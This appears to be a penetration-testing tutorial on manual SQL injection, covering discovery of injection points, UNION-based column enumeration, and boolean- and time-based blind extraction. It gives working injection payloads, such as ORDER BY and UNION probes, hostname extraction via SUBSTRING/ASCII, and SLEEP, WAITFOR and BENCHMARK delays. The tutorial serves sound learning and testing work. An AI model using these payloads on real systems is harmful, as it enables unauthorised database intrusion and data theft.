SQLi Manual Testing Methodology

Identify, confirm, and exploit various types of SQL Injection

Discover Injection Points

The first step in the methodology for testing SQL injection is identify injection points where user input would be passed into a SQL query, which can be:

  • HTTP GET/POST Parameters
  • UserAgent Strings
  • Cookies

We can try to insert the following SQL special characters into the query and see if they would produce a different response from the back-end:

  • '
  • "
  • `
  • )
  • ))
  • \

If we see errors messages or different page responses, it means these characters are being interpreted as part of the SQL statement, potentially revealing a viable injection point.

Types of SQL Injection

The next step of the exploitation process depends on the type of SQL injection we are dealing with:

  1. In-band SQLi: outputs are printed directly to the front-end.
    • Union Based SQLi: we specify the exact column which we can read, so the query will direct the output to be printed there.
    • Error Based SQLi: error is displayed in the front-end, and so we may intentionally cause an SQL error that returns the output of our query.
  2. Blind SQLi: We cannot retreive the output direclty. We resort to utilize SQL logic to retrieve the output character by character.
    • Boolean Based SQLi: use SQL conditional statements to control whether the page returns the original query response if the injected conditional statement returns true.
    • Time Based SQLi: use SQL conditional statements that delay the page response if the conditional statement returns true using the Sleep() function.

UNION-Based SQLi

UNION-based SQL injection achieves the injection of SQL statements via the use of a UNION clause, which is used to combine the output of two or more compatible SELECT statements.

With a UNION operator, we can append the output of a second compatible query to the output of the first one.

mysql> SELECT * FROM ports;

+----------+-----------+
| code     | city      |
+----------+-----------+
| CN SHA   | Shanghai  |
| SG SIN   | Singapore |
| ZZ-21    | Shenzhen  |
+----------+-----------+
3 rows in set (0.00 sec)
mysql> SELECT * FROM ships;

+----------+-----------+
| Ship     | city      |
+----------+-----------+
| Morrison | New York  |
+----------+-----------+
mysql> SELECT * FROM ports UNION SELECT * FROM ships;

+----------+-----------+
| code     | city      |
+----------+-----------+
| CN SHA   | Shanghai  |
| SG SIN   | Singapore |
| Morrison | New York  |
| ZZ-21    | Shenzhen  |
+----------+-----------+
4 rows in set (0.00 sec)

Identify Number of Columns

The first step in UNION-based SQL Injection is to identify the number of columns inside the statement we are injecting into. There are two ways to achieve this. The first uses the ORDER BY clause to order the output by the value of a certain column. Instead of using the column names we probably don’t know yet, we can use numbers to refer the the column instead. We increment the number until error appears

' ORDER BY 1-- -
' ORDER BY 2-- -
' ORDER BY 3-- -
[...]

If column 5 causes an error, we know that there is only 4 columns

' ORDER BY 5-- -

The alternative method is to attempt a UNION injection with a different number of columns until we successfully get the results back. Since UNION operator requires both SELECT statements to have equal numbers of columns, we’ll get errors until we specify the same number of columns in our payload.

' UNION select 1-- -
' UNION select 1,2-- -
' UNION select 1,2,3-- -

Injection Location

The application may only display some columns from the query output. We cannot make use of columns not displayed for the purpose of UNION-based injection. To find suitable injection columns, we use a test value such as @@version or user() and try UNION it to different columns, and see under which one is the test value displayed.

  • In the example below, suppose we see the MySQL version string in the second and third query. We know that column 2 and 3 are displayed on the front-end.
' UNION select @@version,2,3-- -
' UNION select 1,@@version,3-- -
' UNION select 1,2,@@version-- -

Blind SQL Injection

Blind SQL injection is a type of SQL injection that extract information by executing a series of conditional statements and observe the difference in response content or timing to determine whether the queried statement was true or not, thus circumventing the limitation of not having the query output included in back-end response.

Boolean-based

Boolean-based blind SQL injection rely on the application responding differently based on whether the injected query returns true or false.

Identify Injection Point and Confirm Vulnerability: Inject a payload that evaluates to true/false to confirm SQL injection vulnerability. For example:

http://example.com/item?id=1 AND 1=1 -- (Expected: Normal response)
http://example.com/item?id=1 AND 1=2 -- (Expected: Different response or error)

Extract Hostname Length: Guess the length of the hostname by incrementing until the response indicates a match. For example:

http://example.com/item?id=1 AND LENGTH(@@hostname)=1 -- (Expected: No change)
http://example.com/item?id=1 AND LENGTH(@@hostname)=2 -- (Expected: No change)
http://example.com/item?id=1 AND LENGTH(@@hostname)=N -- (Expected: Change in response)

Extract Hostname Characters : Extract each character of the hostname using substring and ASCII comparison, repeat until the entire string is discovered

http://example.com/item?id=1 AND ASCII(SUBSTRING(@@hostname, 1, 1)) > 64 --
http://example.com/item?id=1 AND ASCII(SUBSTRING(@@hostname, 1, 1)) = 104 --

Time-based

Time-based blind SQL injection works similarly to Boolean-based injections, but instead uses response time to determine whether a SQL statement evaluates to true or false. This is useful when no output from the query is provided by the application.

We can either make use of the SLEEP function:

' AND SLEEP(5)/*
' AND '1'='1' AND SLEEP(5)
' ; WAITFOR DELAY '00:00:05' --

Or computationally heavy query that takes a lot of time to complete:

BENCHMARK(2000000,MD5(NOW()))

If the condition we specify below evaluates to true, we would get a longer response time than usual. Using a similar methodology as Boolean-based injection, we are able to extract the output character-by-character.

http://example.com/item?id=1 AND IF(SUBSTRING(VERSION(), 1, 1) = '5', SLEEP(5), 0) --

References